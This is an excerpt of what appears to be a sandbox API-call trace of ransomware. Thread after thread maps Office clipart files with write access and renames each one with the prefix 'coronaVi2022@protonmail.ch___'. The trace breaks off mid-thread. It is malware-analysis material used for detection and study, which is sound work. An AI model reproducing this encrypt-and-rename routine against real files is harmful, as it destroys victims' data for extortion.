	[0096.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xce0
	[0096.497] GetFileSizeEx (in: hFile=0xce0, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=5259) returned 1
	[0096.497] CreateFileMappingA (hFile=0xce0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1495, lpName=0x0) returned 0xce4
	[0096.497] MapViewOfFile (hFileMappingObject=0xce4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0096.499] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0096.500] CloseHandle (hObject=0xce4) returned 1
	[0096.500] GetCurrentThreadId () returned 0x1a9c
	[0096.500] FlushFileBuffers (hFile=0xce0) returned 1
	[0096.503] CloseHandle (hObject=0xce0) returned 1
	[0096.503] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099198.gif") returned 97
	[0096.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099198.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099198.gif")) returned 1
	[0096.504] free (_Block=0x51f5098) 
	[0096.504] RtlExitUserThread (Status=0x0) 

Thread:
	id = 650
	os_tid = 0x1aa0

	[0096.505] _alloca_probe () returned 0x40328a
	[0096.506] GetCurrentThreadId () returned 0x1aa0
	[0096.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.gif", dwFileAttributes=0x80) returned 1
	[0096.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcd0
	[0096.507] GetFileSizeEx (in: hFile=0xcd0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=33975) returned 1
	[0096.507] CreateFileMappingA (hFile=0xcd0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84bd, lpName=0x0) returned 0xce4
	[0096.507] MapViewOfFile (hFileMappingObject=0xce4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0096.514] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0096.515] CloseHandle (hObject=0xce4) returned 1
	[0096.515] GetCurrentThreadId () returned 0x1aa0
	[0096.515] FlushFileBuffers (hFile=0xcd0) returned 1
	[0096.523] CloseHandle (hObject=0xcd0) returned 1
	[0096.523] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099199.gif") returned 97
	[0096.523] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099199.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099199.gif")) returned 1
	[0096.524] free (_Block=0x51f0070) 
	[0096.524] RtlExitUserThread (Status=0x0) 

Thread:
	id = 651
	os_tid = 0x1aa4

	[0096.516] _alloca_probe () returned 0x40328a
	[0096.517] GetCurrentThreadId () returned 0x1aa4
	[0096.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.gif", dwFileAttributes=0x80) returned 1
	[0096.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xce8
	[0096.518] GetFileSizeEx (in: hFile=0xce8, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=16543) returned 1
	[0096.518] CreateFileMappingA (hFile=0xce8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40ad, lpName=0x0) returned 0xcec
	[0096.518] MapViewOfFile (hFileMappingObject=0xcec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0096.522] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0096.522] CloseHandle (hObject=0xcec) returned 1
	[0096.523] GetCurrentThreadId () returned 0x1aa4
	[0096.523] FlushFileBuffers (hFile=0xce8) returned 1
	[0096.526] CloseHandle (hObject=0xce8) returned 1
	[0096.526] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099200.gif") returned 97
	[0096.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099200.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099200.gif")) returned 1
	[0096.527] free (_Block=0x51f80b0) 
	[0096.527] RtlExitUserThread (Status=0x0) 

Thread:
	id = 652
	os_tid = 0x1aa8

	[0096.529] _alloca_probe () returned 0x40328a
	[0096.529] GetCurrentThreadId () returned 0x1aa8
	[0096.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.gif", dwFileAttributes=0x80) returned 1
	[0096.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcd0
	[0096.530] GetFileSizeEx (in: hFile=0xcd0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=51401) returned 1
	[0096.530] CreateFileMappingA (hFile=0xcd0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc8d1, lpName=0x0) returned 0xcec
	[0096.530] MapViewOfFile (hFileMappingObject=0xcec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0096.540] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0096.541] CloseHandle (hObject=0xcec) returned 1
	[0096.541] GetCurrentThreadId () returned 0x1aa8
	[0096.541] FlushFileBuffers (hFile=0xcd0) returned 1
	[0096.552] CloseHandle (hObject=0xcd0) returned 1
	[0096.552] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099201.gif") returned 97
	[0096.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099201.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099201.gif")) returned 1
	[0096.553] free (_Block=0x51f4090) 
	[0096.553] RtlExitUserThread (Status=0x0) 

Thread:
	id = 653
	os_tid = 0x1aac

	[0096.665] _alloca_probe () returned 0x40328a
	[0096.665] GetCurrentThreadId () returned 0x1aac
	[0096.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.gif", dwFileAttributes=0x80) returned 1
	[0096.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcec
	[0096.666] GetFileSizeEx (in: hFile=0xcec, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4967) returned 1
	[0096.666] CreateFileMappingA (hFile=0xcec, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x136d, lpName=0x0) returned 0xcf0
	[0096.666] MapViewOfFile (hFileMappingObject=0xcf0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0096.668] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0096.668] CloseHandle (hObject=0xcf0) returned 1
	[0096.668] GetCurrentThreadId () returned 0x1aac
	[0096.668] FlushFileBuffers (hFile=0xcec) returned 1
	[0096.671] CloseHandle (hObject=0xcec) returned 1
	[0096.671] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099202.gif") returned 97
	[0096.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099202.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099202.gif")) returned 1
	[0096.672] free (_Block=0x51f0070) 
	[0096.672] RtlExitUserThread (Status=0x0) 

Thread:
	id = 654
	os_tid = 0x1ab0

	[0096.677] _alloca_probe () returned 0x40328a
	[0096.678] GetCurrentThreadId () returned 0x1ab0
	[0096.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.gif", dwFileAttributes=0x80) returned 1
	[0096.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcf0
	[0096.678] GetFileSizeEx (in: hFile=0xcf0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3904) returned 1
	[0096.678] CreateFileMappingA (hFile=0xcf0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf40, lpName=0x0) returned 0xcf4
	[0096.679] MapViewOfFile (hFileMappingObject=0xcf4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0096.680] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0096.680] CloseHandle (hObject=0xcf4) returned 1
	[0096.680] GetCurrentThreadId () returned 0x1ab0
	[0096.680] FlushFileBuffers (hFile=0xcf0) returned 1
	[0096.684] CloseHandle (hObject=0xcf0) returned 1
	[0096.684] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099203.gif") returned 97
	[0096.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0099203.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0099203.gif")) returned 1
	[0096.685] free (_Block=0x51f0070) 
	[0096.685] RtlExitUserThread (Status=0x0) 

Thread:
	id = 655
	os_tid = 0x1ab4

	[0096.686] _alloca_probe () returned 0x40328a
	[0096.687] GetCurrentThreadId () returned 0x1ab4
	[0096.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.bmp", dwFileAttributes=0x80) returned 1
	[0096.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcf4
	[0096.688] GetFileSizeEx (in: hFile=0xcf4, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=78840) returned 1
	[0096.688] CreateFileMappingA (hFile=0xcf4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x133ff, lpName=0x0) returned 0xcf8
	[0096.688] MapViewOfFile (hFileMappingObject=0xcf8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0096.735] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0096.736] CloseHandle (hObject=0xcf8) returned 1
	[0096.736] GetCurrentThreadId () returned 0x1ab4
	[0096.736] FlushFileBuffers (hFile=0xcf4) returned 1
	[0096.742] CloseHandle (hObject=0xcf4) returned 1
	[0096.742] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101856.bmp") returned 97
	[0096.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101856.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0101856.bmp")) returned 1
	[0096.743] free (_Block=0x51f5098) 
	[0096.743] RtlExitUserThread (Status=0x0) 

Thread:
	id = 656
	os_tid = 0x1ab8

	[0096.755] _alloca_probe () returned 0x40328a
	[0096.755] GetCurrentThreadId () returned 0x1ab8
	[0096.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.bmp", dwFileAttributes=0x80) returned 1
	[0096.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcf8
	[0096.757] GetFileSizeEx (in: hFile=0xcf8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32184) returned 1
	[0096.757] CreateFileMappingA (hFile=0xcf8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xcfc
	[0096.757] MapViewOfFile (hFileMappingObject=0xcfc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0096.763] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0096.764] CloseHandle (hObject=0xcfc) returned 1
	[0096.764] GetCurrentThreadId () returned 0x1ab8
	[0096.764] FlushFileBuffers (hFile=0xcf8) returned 1
	[0096.766] CloseHandle (hObject=0xcf8) returned 1
	[0096.766] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101857.bmp") returned 97
	[0096.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101857.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0101857.bmp")) returned 1
	[0096.767] free (_Block=0x51f3088) 
	[0096.767] RtlExitUserThread (Status=0x0) 

Thread:
	id = 657
	os_tid = 0x1abc

	[0097.057] _alloca_probe () returned 0x40328a
	[0097.057] GetCurrentThreadId () returned 0x1abc
	[0097.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.bmp", dwFileAttributes=0x80) returned 1
	[0097.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xcfc
	[0097.059] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32184) returned 1
	[0097.059] CreateFileMappingA (hFile=0xcfc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xd00
	[0097.059] MapViewOfFile (hFileMappingObject=0xd00, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0097.080] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0097.080] CloseHandle (hObject=0xd00) returned 1
	[0097.080] GetCurrentThreadId () returned 0x1abc
	[0097.080] FlushFileBuffers (hFile=0xcfc) returned 1
	[0097.086] CloseHandle (hObject=0xcfc) returned 1
	[0097.086] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101858.bmp") returned 97
	[0097.086] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101858.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0101858.bmp")) returned 1
	[0097.087] free (_Block=0x51f5098) 
	[0097.087] RtlExitUserThread (Status=0x0) 

Thread:
	id = 658
	os_tid = 0x1ad4

	[0097.060] _alloca_probe () returned 0x40328a
	[0097.061] GetCurrentThreadId () returned 0x1ad4
	[0097.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.bmp", dwFileAttributes=0x80) returned 1
	[0097.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd08
	[0097.061] GetFileSizeEx (in: hFile=0xd08, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=31968) returned 1
	[0097.061] CreateFileMappingA (hFile=0xd08, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0xd0c
	[0097.062] MapViewOfFile (hFileMappingObject=0xd0c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x470000
	[0097.072] UnmapViewOfFile (lpBaseAddress=0x470000) returned 1
	[0097.072] CloseHandle (hObject=0xd0c) returned 1
	[0097.072] GetCurrentThreadId () returned 0x1ad4
	[0097.072] FlushFileBuffers (hFile=0xd08) returned 1
	[0097.298] CloseHandle (hObject=0xd08) returned 1
	[0097.299] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101859.bmp") returned 97
	[0097.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101859.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0101859.bmp")) returned 1
	[0097.300] free (_Block=0x51f0070) 
	[0097.300] RtlExitUserThread (Status=0x0) 

Thread:
	id = 659
	os_tid = 0x1ad8

	[0097.130] _alloca_probe () returned 0x40328a
	[0097.131] GetCurrentThreadId () returned 0x1ad8
	[0097.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.bmp", dwFileAttributes=0x80) returned 1
	[0097.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd00
	[0097.132] GetFileSizeEx (in: hFile=0xd00, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=32184) returned 1
	[0097.132] CreateFileMappingA (hFile=0xd00, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xd0c
	[0097.132] MapViewOfFile (hFileMappingObject=0xd0c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0097.139] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0097.139] CloseHandle (hObject=0xd0c) returned 1
	[0097.139] GetCurrentThreadId () returned 0x1ad8
	[0097.139] FlushFileBuffers (hFile=0xd00) returned 1
	[0097.144] CloseHandle (hObject=0xd00) returned 1
	[0097.144] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101860.bmp") returned 97
	[0097.145] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101860.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0101860.bmp")) returned 1
	[0097.145] free (_Block=0x51f60a0) 
	[0097.145] RtlExitUserThread (Status=0x0) 

Thread:
	id = 660
	os_tid = 0x1adc

	[0097.164] _alloca_probe () returned 0x40328a
	[0097.165] GetCurrentThreadId () returned 0x1adc
	[0097.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.bmp", dwFileAttributes=0x80) returned 1
	[0097.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd0c
	[0097.165] GetFileSizeEx (in: hFile=0xd0c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32184) returned 1
	[0097.165] CreateFileMappingA (hFile=0xd0c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xd10
	[0097.166] MapViewOfFile (hFileMappingObject=0xd10, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0097.172] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0097.173] CloseHandle (hObject=0xd10) returned 1
	[0097.173] GetCurrentThreadId () returned 0x1adc
	[0097.173] FlushFileBuffers (hFile=0xd0c) returned 1
	[0097.463] CloseHandle (hObject=0xd0c) returned 1
	[0097.464] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101861.bmp") returned 97
	[0097.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0101861.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0101861.bmp")) returned 1
	[0097.465] free (_Block=0x51f90b8) 
	[0097.465] RtlExitUserThread (Status=0x0) 

Thread:
	id = 661
	os_tid = 0x1ae0

	[0097.176] _alloca_probe () returned 0x40328a
	[0097.177] GetCurrentThreadId () returned 0x1ae0
	[0097.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.bmp", dwFileAttributes=0x80) returned 1
	[0097.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd14
	[0097.177] GetFileSizeEx (in: hFile=0xd14, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=32184) returned 1
	[0097.177] CreateFileMappingA (hFile=0xd14, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7dbf, lpName=0x0) returned 0xd18
	[0097.177] MapViewOfFile (hFileMappingObject=0xd18, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
